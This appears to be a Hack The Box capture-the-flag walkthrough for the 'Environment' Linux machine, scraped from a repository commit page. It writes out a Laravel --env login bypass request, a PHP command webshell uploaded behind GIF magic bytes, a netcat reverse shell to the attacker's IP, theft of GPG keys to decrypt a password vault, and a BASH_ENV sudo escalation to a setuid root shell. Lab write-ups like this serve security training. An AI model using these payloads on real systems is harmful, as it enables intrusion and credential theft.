change paths
This commit is contained in:
ellen.freeman
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HTB/environment/en.md
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HTB/environment/en.md
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# HTB: Environment
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## About Environment
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`Environment` is a medium-difficulty Linux machine. The initial foothold involves exploiting [CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301), which allows environment manipulation through an `--env` parameter, bypassing the login functionality. From the management dashboard, [CVE-2024-2154](https://nvd.nist.gov/vuln/detail/CVE-2024-2154) is exploited to upload a `PHP` webshell embedded inside a profile image, giving the player a foothold through command execution. On the compromised system, exposed `GPG` keys can be found along with an encrypted backup. The decrypted data contains valid user passwords, enabling `SSH` access. Privilege escalation is achieved by leveraging sudo permissions. The user is allowed to execute a script with elevated privileges. Although the script itself is harmless, the `BASH_ENV` environment variable is preserved while increasing privileges, which allows execution of arbitrary commands as root.
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**Environment lab link:** https://app.hackthebox.com/machines/659
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## Initial Reconnaissance
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First thing I like to do is scan target with nmap for open ports and reveal what technology is used on machine:
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```bash
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nmap -Pn -p- --min-rate 2000 -sC -sV -vv -oA nmap/environment 10.129.135.179
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PORT STATE SERVICE REASON VERSION
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22/tcp open ssh syn-ack OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
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| ssh-hostkey:
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| 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
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| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGrihP7aP61ww7KrHUutuC/GKOyHifRmeM070LMF7b6vguneFJ3dokS/UwZxcp+H82U2LL+patf3wEpLZz1oZdQ=
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| 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
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|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ7xeTjQWBwI6WERkd6C7qIKOCnXxGGtesEDTnFtL2f2
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80/tcp open http syn-ack nginx 1.22.1
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|_http-title: Did not follow redirect to http://environment.htb
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| http-methods:
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|_ Supported Methods: GET HEAD POST OPTIONS
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|_http-server-header: nginx 1.22.1
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Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
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```
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Nmap scan reveals ssh and http ports open. SSH has 9.2p1 version and HTTP backend is nginx 1.22.1 version. SSH version is vulnerable to CVE-2024-6387 (regreSSHion) but I don't think this is the path for exploitation yet, because to exploit this vulnerability we would need to wait for about 6-8 hours to obtain a remote shell. I think I can do it faster ;)
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It has domain name of environment.htb that we need to add to our /etc/hosts file to access the web app.
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```bash
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echo "10.129.135.179 environment.htb" | sudo tee -a /etc/hosts
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```
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## Website on port 80
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After accessing http://environment.htb/ we land on a simple website:
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After looking at website and its source code I noticed that mailing list has some working functionality which is unusual for these types of labs. There is also CSRF token in input tag that we can decode via base64:
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```html
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<input type="hidden" name="_token" value="eQJKKZTGRTUtoOwXR1Sr9ysqHfNSDxt3qLLJBa6r" autocomplete="off">
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```
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```bash
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echo "eQJKKZTGRTUtoOwXR1Sr9ysqHfNSDxt3qLLJBa6r" | base64 -d
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yJ)E5-GT+*R
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```
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But nothing else in particular. To not waste time I would try to fuzz for subdomains & hidden directories on the target while looking at mailing list functionality in Burp.
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To fuzz for subdomains I'll use ffuf with wordlist from seclists:
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```bash
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ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://FUZZ.environment.htb/"
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```
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Didn't find any subdomains. Let's check for hidden directories:
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```bash
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ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u "http://environment.htb/FUZZ"
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build [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 46ms]
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favicon.ico [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 46ms]
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index.php [Status: 200, Size: 4602, Words: 965, Lines: 88, Duration: 432ms]
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login [Status: 200, Size: 2391, Words: 532, Lines: 55, Duration: 520ms]
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logout [Status: 302, Size: 358, Words: 60, Lines: 12, Duration: 477ms]
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node_modules/.package-lock.json [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 46ms]
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mailing [Status: 405, Size: 244871, Words: 46159, Lines: 2576, Duration: 5556ms]
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robots.txt [Status: 200, Size: 24, Words: 2, Lines: 3, Duration: 50ms]
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storage [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 46ms]
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up [Status: 200, Size: 2126, Words: 745, Lines: 51, Duration: 1204ms]
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vendor [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 46ms]
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upload [Status: 405, Size: 244869, Words: 46159, Lines: 2576, Duration: 794ms]
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```
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I found some interesting endpoints, like login, upload, storage, mailing.
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Using Wappalyzer extension in browser I can check that website uses PHP and Laravel.
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Trying to access `http://environment.htb/upload` or `http://environment.htb/mailing` reveals to us PHP (8.2.28) and Laravel (11.30.0) version as well as an error message that indicates we can send only POST requests to these endpoints:
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That error page also reveals some internal backend codebase which means the application is running in **debug mode**.
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## Vulnerability Research & Exploitation
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After checking vulnerabilities for Laravel framework I found this high rated CVE: https://nvd.nist.gov/vuln/detail/CVE-2024-52301
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But for now it seems useless, since our application is already in debugging state.
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Also it seems like Laravel 11.30.0 is vulnerable to reflected XSS when in debug mode, [CVE-2024-13918](https://nvd.nist.gov/vuln/detail/CVE-2024-13918) but it is not useful for our case here since we don't have a victim to target.
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After playing with parameters on login endpoint, I was able to reveal some backend source code because application is in debug mode:
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After removing any value from `remember` parameter in request body reveals some additional application environment, probably designed to be used by developers:
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```php
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if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
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$request->session()->regenerate();
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$request->session()->put('user_id', 1);
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return redirect('/management/dashboard');
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}
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```
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Now we can connect our [CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301) to change environment and access endpoint (`/management/dashboard`) of the website we should not be able to.
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By following this [PoC](https://github.com/Nyamort/CVE-2024-52301) we can send such request to login endpoint to activate preprod environment:
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```http
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POST /login?--env=preprod HTTP/1.1
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Host: environment.htb
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Content-Length: 132
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Cache-Control: max-age=0
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Accept-Language: en-US,en;q=0.9
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Origin: http://environment.htb
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Content-Type: application/x-www-form-urlencoded
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Referer: http://environment.htb/login
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Accept-Encoding: gzip, deflate, br
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Cookie: XSRF-TOKEN=eyJpdiI6InRvSkEzL3hQcE1aMHBLUVVVQ0xWc3c9PSIsInZhbHVlIjoiaHlIY3ErT1V3aGxwcktVOWt5SXg4TFVJczVrNXJrV1prMGh5MW9JbC93L3hpTnJhem1CVnc5dEMybHJXOFhoYUx3TEl5VjlZYncwUHcweEtlMEdMME1uZHBqVEtWdGc0akIra2VpZXQrWGlmRW0xOStXcTVSZUx4WFBaQXhwTVciLCJtYWMiOiJiNzg0N2E1ODc4MWNlNmRlYzcwM2VmMTU2MWE4YzU0NjEzNTkzODgxOWNmNTUzMDQwOWYwNWViNzBlZWI2NDhlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImowRjRqQmhQQUZXVHJuSEhuWDYvaWc9PSIsInZhbHVlIjoiakVvWG1qVFFyUlQyV3NITFhKOUliVDlhdW1jTGlHdHRrYUpYTW5XdG0wT3paa09GejQzM3ZyMHhURm1GU3d3Q1JKYmhaWXY5R1ZKTmdvRWVtQXRiTFNWTytnK2l3M3E2dUhBWE1kc3I3OWsraHVER3poMWFLYWFlSENvS0tKZWIiLCJtYWMiOiI2OTYzM2U1OGViMjBmODBmNzQzMGQ4MTdhNGY1OWQ0NGZmM2JiOGExMzM5MTUwZTgxZDgwYmYwODNlOWNmOGFjIiwidGFnIjoiIn0%3D
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Connection: keep-alive
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_token=REgoc9V6MU0xdUsJMbSBVygImoZg0AgDh0KY4X7A&email=admin%40environment.htb,attacker%40environment.htb&password=admin%27&remember=False
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```
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After sending it in Burp we need to click on `Show response in browser` to be redirected to `environment.htb/management/dashboard`
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Basically there is one dev account we are being logged as: hish@environment.htb
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And the only functionality there is to upload a profile image by sending POST request to `environment.htb/upload` endpoint.
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## File Upload Bypass
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Trying to upload a plain PHP shell won't work, because backend checks for 'magic bytes' inside file contents to check if file is an actual image or not.
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So we need to find a way to bypass these checks and somehow upload a shell
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## Shell upload
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I will use this site with a variety of remote shells for different languages: https://www.revshells.com/
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In this case, since the site runs on PHP, I chose the following:
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```
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<html>
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<body>
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<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
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<input type="TEXT" name="cmd" id="cmd" size="80">
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<input type="SUBMIT" value="Execute">
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</form>
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<pre>
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<?php
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if(isset($_GET['cmd']))
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{
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system($_GET['cmd']);
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}
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?>
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</pre>
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</body>
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<script>document.getElementById("cmd").focus();</script>
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</html>
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```
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Backend probably has bad regex check on filename parameter, because I could upload a file named as `index.gif.php.` with PHP cmd shell inside and magic bytes in request to bypass MIME type checking.
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To bypass the magic bytes check, simply add the string `GIF87a` before our shell for gif file types, and also add a period at the end of the file name, which is truncated on the server side and converted to the usual `index.gif.php`.
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```http
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POST /upload HTTP/1.1
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Host: environment.htb
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Content-Length: 680
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Accept-Language: en-US,en;q=0.9
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User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyqgqevjtjeuKysRj
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Accept: */*
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Origin: http://environment.htb
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Referer: http://environment.htb/management/profile
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Accept-Encoding: gzip, deflate, br
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Cookie: XSRF-TOKEN=eyJpdiI6InpRTit5azYwcm1kcnl3SUgxVUlqa2c9PSIsInZhbHVlIjoiTytCOG9rclVwNkdVdDVQQnVoVEVTelRJZVpKK1pHb2k2UzlvWEIrekw3YzhjNTRKNDFBYkU2Q0tRbnZhRkVncjQwN1NxWU4wV0FhL0E3RjM2dWdaTTFsT1EvT1lXcXplR3BmMTRGWDdXb3ZuMmhlS2U4bjFvOTNHMk51S01PLzQiLCJtYWMiOiI0MmM3MjczZjkxYjA5ZTRiNmM4ZWJjNDFiNWY2ODE2MzI4YWI5NzYzNmU0YjJiZDBkOTEyY2JhYmFlNDIxNDUyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImJZaWFGWFBKRk80ZGkycXVVRXhpK2c9PSIsInZhbHVlIjoidlp0SEpSdGFkeTJkYnRETzNGc0Q4MkgwTzFhSWpTYXNzWVdmU3lHK3A0WHEwQUpkZ1dkSzNPM2E2RmZoVkZZZnZNZnFqWjcxNmR3emxTSXF3N2E0YWJNVndxazhuY081NUpPeWpFcW1MMU5FSVp5WW9RVGFjcCtJK0wzOUYydmciLCJtYWMiOiIxMWVjZmM1NTM5NWI0ZGMzMDhlMTM2YTkwNjZhNTI4Y2FjMGEyOGVmZDFkNTBiYWQxNTAyZmViNTAwMDliODFiIiwidGFnIjoiIn0%3D
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Connection: keep-alive
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------WebKitFormBoundaryyqgqevjtjeuKysRj
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Content-Disposition: form-data; name="_token"
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U55EcHxTJCO0cvMScKzD20VSsKYd9oLV8lNhKtn9
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------WebKitFormBoundaryyqgqevjtjeuKysRj
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Content-Disposition: form-data; name="upload"; filename="index.gif.php."
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Content-Type: image/jpeg
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GIF87a
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<html>
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<body>
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<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
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<input type="TEXT" name="cmd" id="cmd" size="80">
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<input type="SUBMIT" value="Execute">
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</form>
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<pre>
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<?php
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if(isset($_GET['cmd']))
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{
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system($_GET['cmd']);
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}
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?>
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</pre>
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</body>
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<script>document.getElementById("cmd").focus();</script>
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</html>
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------WebKitFormBoundaryyqgqevjtjeuKysRj--
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```
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From the image above:
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1. Modify filename to `index.gif.php.`
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2. Send a [PHP cmd payload](https://www.revshells.com/) with magic bytes in the start of the file to bypass GIF MIME type checking
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3. Backend parses it as a gif and shows that my PHP cmd shell is at `http://environment.htb/storage/files/index.gif.php.`
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Now we have RCE on the target. So to get fully functional reverse shell we need:
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## Getting Reverse Shell
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1. In our terminal:
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```bash
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rlwrap nc -lvnp 1337
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```
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2. On our uploaded PHP cmd shell send any reverse shell pointing to us:
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```bash
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busybox nc 10.10.14.53 1337 -e sh
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```
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3. I like to get a persistent interactive shell for reverse shell that won't drop connection after some time, so I'll use this set of commands to get one:
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```bash
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# After getting a reverse connection on netcat
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python3 -c 'import pty; pty.spawn("/bin/bash")'
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export TERM=xterm-256color
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export TERM=xterm
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# Now press Ctrl+Z
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stty raw -echo ; fg ; reset
|
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stty columns 200 rows 200
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```
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## User Privilege Escalation
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When we get a reverse shell, we're logged as user **www-data** on system, which is used on Linux systems by web servers like Apache/Nginx to host web applications.
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So to map out our next steps we'll look for available users on server:
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```bash
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www-data@environment:~/app/storage/app/public/files$ cat /etc/passwd | grep bash
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root:x:0:0:root:/root:/bin/bash
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hish:x:1000:1000:hish,,,:/home/hish:/bin/bash
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```
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After looking at `/etc/passwd` (file that contains all users existing on unix systems) we can guess that we'll need to get access to hish user and then exploit our way to root:
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`www-data -> hish -> root`
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### Recon as www-data
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|
||||
To get started we would need to check for any critical files that can contain information about hish password (like logs, databases).
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After some digging, I found `database.sqlite` in `/var/www/app/database`:
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||||
|
||||
|
||||
|
||||
|
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|
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```bash
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www-data@environment:~/app/database$ sqlite3 database.sqlite
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sqlite3 database.sqlite
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SQLite version 3.40.1 2022-12-28 14:03:47
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Enter ".help" for usage hints.
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sqlite> .tables
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cache jobs sessions
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cache_locks mailing_list users
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failed_jobs migrations
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job_batches password_reset_tokens
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sqlite> select * from users;
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select * from users;
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1|Hish|hish@environment.htb||$2y$12$QPbeVM.u7VbN9KCeAJ.JA.WfWQVWQg0LopB9ILcC7akZ.q641r1gi||2025-01-07 01:51:54|2025-01-12 01:01:48|hish.png
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2|Jono|jono@environment.htb||$2y$12$i.h1rug6NfC73tTb8XF0Y.W0GDBjrY5FBfsyX2wOAXfDWOUk9dphm||2025-01-07 01:52:35|2025-01-07 01:52:35|jono.png
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||||
3|Bethany|bethany@environment.htb||$2y$12$6kbg21YDMaGrt.iCUkP/s.yLEGAE2S78gWt.6MAODUD3JXFMS13J.||2025-01-07 01:53:18|2025-01-07 01:53:18|bethany.png
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sqlite>
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```
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|
||||
We see hashed password of our hish user we could try to crack using hashcat:
|
||||
|
||||
```bash
|
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~/HackTheBox/environment > echo '$2y$12$QPbeVM.u7VbN9KCeAJ.JA.WfWQVWQg0LopB9ILcC7akZ.q641r1gi' > hish_hash.txt
|
||||
~/HackTheBox/environment > hashid hish_hash.txt
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||||
--File 'hish_hash.txt'--
|
||||
Analyzing '$2y$12$QPbeVM.u7VbN9KCeAJ.JA.WfWQVWQg0LopB9ILcC7akZ.q641r1gi'
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||||
[+] Blowfish(OpenBSD)
|
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[+] Woltlab Burning Board 4.x
|
||||
[+] bcrypt
|
||||
--End of file 'hish_hash.txt'--%
|
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~/HackTheBox/environment > hashcat hish_hash.txt -m 3200 /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
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||||
hashcat (v7.1.2) starting
|
||||
```
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||||
|
||||
But that won't work and take a lot of time and actually isn't needed to get hish's password because we have access to hish's home directory to read all files inside
|
||||
|
||||
### Decrypting hish's GPG keyvault
|
||||
|
||||
```bash
|
||||
www-data@environment:~$ ls -la /home/hish
|
||||
ls -la /home/hish
|
||||
total 36
|
||||
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 .
|
||||
drwxr-xr-x 3 root root 4096 Jan 12 2025 ..
|
||||
lrwxrwxrwx 1 root root 9 Apr 7 19:29 .bash_history -> /dev/null
|
||||
-rw-r--r-- 1 hish hish 220 Jan 6 2025 .bash_logout
|
||||
-rw-r--r-- 1 hish hish 3526 Jan 12 2025 .bashrc
|
||||
drwxr-xr-x 4 hish hish 4096 Sep 5 17:46 .gnupg
|
||||
drwxr-xr-x 3 hish hish 4096 Jan 6 2025 .local
|
||||
-rw-r--r-- 1 hish hish 807 Jan 6 2025 .profile
|
||||
drwxr-xr-x 2 hish hish 4096 Jan 12 2025 backup
|
||||
-rw-r--r-- 1 root hish 33 Sep 5 04:00 user.txt
|
||||
```
|
||||
|
||||
Looking at backup directory we see `keyvault.gpg` file that we can try to decrypt using GPG. But we will fail to do so when simply trying to decrypt it using `gpg -d keyvault.gpg`:
|
||||
|
||||
```bash
|
||||
www-data@environment:/home/hish$ ls -la backup/
|
||||
ls -la backup/
|
||||
total 12
|
||||
drwxr-xr-x 2 hish hish 4096 Jan 12 2025 .
|
||||
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 ..
|
||||
-rw-r--r-- 1 hish hish 430 Sep 5 17:48 keyvault.gpg
|
||||
www-data@environment:/home/hish$ cd backup
|
||||
cd backup
|
||||
www-data@environment:/home/hish/backup$ gpg -d keyvault.gpg
|
||||
gpg -d keyvault.gpg
|
||||
gpg: Fatal: can't create directory '/var/www/.gnupg': Permission denied
|
||||
```
|
||||
|
||||
because we don't have permission to create files as www-data user in /var/www.
|
||||
|
||||
So we'll need to copy keyvault.gpg and hish's .gnupg directory with their private keys to directory we have write permissions to. I'll use /tmp for this:
|
||||
|
||||
```bash
|
||||
www-data@environment:$ cd /tmp
|
||||
www-data@environment:/tmp$ cp -r /home/hish/.gnupg . && cd .gnupg
|
||||
www-data@environment:/tmp/.gnupg$ ls
|
||||
openpgp-revocs.d pubring.kbx random_seed
|
||||
private-keys-v1.d pubring.kbx~ trustdb.gpg
|
||||
www-data@environment:/tmp/.gnupg$ cp /home/hish/backup/keyvault.gpg .
|
||||
www-data@environment:/tmp/.gnupg$ gpg --homedir /tmp/.gnupg -d keyvault.gpg
|
||||
gpg --homedir /tmp/.gnupg -d keyvault.gpg
|
||||
gpg: WARNING: unsafe permissions on homedir '/tmp/.gnupg'
|
||||
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
|
||||
"hish_ <hish@environment.htb>"
|
||||
PAYPAL.COM -> Ihaves0meMon$yhere123
|
||||
ENVIRONMENT.HTB -> marineSPm@ster!!
|
||||
FACEBOOK.COM -> summerSunnyB3ACH!!
|
||||
```
|
||||
|
||||
here are the passwords, we can use the second one to login as hish user:
|
||||
|
||||
|
||||
|
||||
```bash
|
||||
www-data@environment:/home/hish/backup$ su hish
|
||||
su hish
|
||||
Password: marineSPm@ster!!
|
||||
|
||||
hish@environment:~/backup$
|
||||
hish@environment:~/backup$ ls -la
|
||||
ls -la
|
||||
total 12
|
||||
drwxr-xr-x 2 hish hish 4096 Jan 12 2025 .
|
||||
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 ..
|
||||
-rw-r--r-- 1 hish hish 430 Sep 5 17:56 keyvault.gpg
|
||||
hish@environment:~/backup$
|
||||
hish@environment:~/backup$ id
|
||||
id
|
||||
uid=1000(hish) gid=1000(hish) groups=1000(hish),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),110(bluetooth)
|
||||
```
|
||||
|
||||
We're in! First thing I check when I get a user on a system is to see what programs I can run with sudo using `sudo -l`:
|
||||
|
||||
|
||||
|
||||
## Root Privilege Escalation
|
||||
|
||||
That program is actually a simple bash script:
|
||||
|
||||
```bash
|
||||
hish@environment:~$ cat /usr/bin/systeminfo
|
||||
#!/bin/bash
|
||||
echo -e "\n### Displaying kernel ring buffer logs (dmesg) ###"
|
||||
dmesg | tail -n 10
|
||||
|
||||
echo -e "\n### Checking system-wide open ports ###"
|
||||
ss -antlp
|
||||
|
||||
echo -e "\n### Displaying information about all mounted filesystems ###"
|
||||
mount | column -t
|
||||
|
||||
echo -e "\n### Checking system resource limits ###"
|
||||
ulimit -a
|
||||
|
||||
echo -e "\n### Displaying loaded kernel modules ###"
|
||||
lsmod | head -n 10
|
||||
|
||||
echo -e "\n### Checking disk usage for all filesystems ###"
|
||||
df -h
|
||||
```
|
||||
|
||||
Here I lost some time, thinking where or how could we hijack execution of these commands, since they are running as root. But after checking `sudo -l` again, I see that I missed crucial `env_keep+="ENV BASH_ENV"` inside. It basically means that we can overwrite bash's internal environment variable, so when we call for `/usr/bin/systeminfo` we could pass our own variable with path to malicious script that will get a root shell when trying to execute bash binary.
|
||||
|
||||
### BASH_ENV
|
||||
|
||||
Searching web for BASH_ENV gives us this explanation:
|
||||
```
|
||||
BASH_ENV is an environment variable in Unix-like systems that specifies the file to be executed when a non-interactive shell is started. It allows users to set up a specific environment for scripts or commands run in that shell.
|
||||
```
|
||||
|
||||
### Exploit
|
||||
|
||||
Now to get root, we'll need to create our own shell script that will copy bash binary with root privileges and then pass this script in `BASH_ENV` variable:
|
||||
|
||||
```bash
|
||||
hish@environment:~$ cat > /tmp/root.sh << 'EOF'
|
||||
cp /bin/bash /tmp/root-bash
|
||||
chmod +s /tmp/root-bash
|
||||
EOF
|
||||
hish@environment:~$ chmod +x /tmp/root.sh
|
||||
hish@environment:~$ sudo BASH_ENV=/tmp/root.sh systeminfo && /tmp/root-bash -p
|
||||
|
||||
--- systeminfo output ---
|
||||
|
||||
root-bash-5.2# cd /root
|
||||
root-bash-5.2# whoami
|
||||
root
|
||||
root-bash-5.2# cat root.txt
|
||||
********************************
|
||||
root-bash-5.2#
|
||||
```
|
||||
|
||||
We successfully got root shell on system!
|
||||
Reference in New Issue
Block a user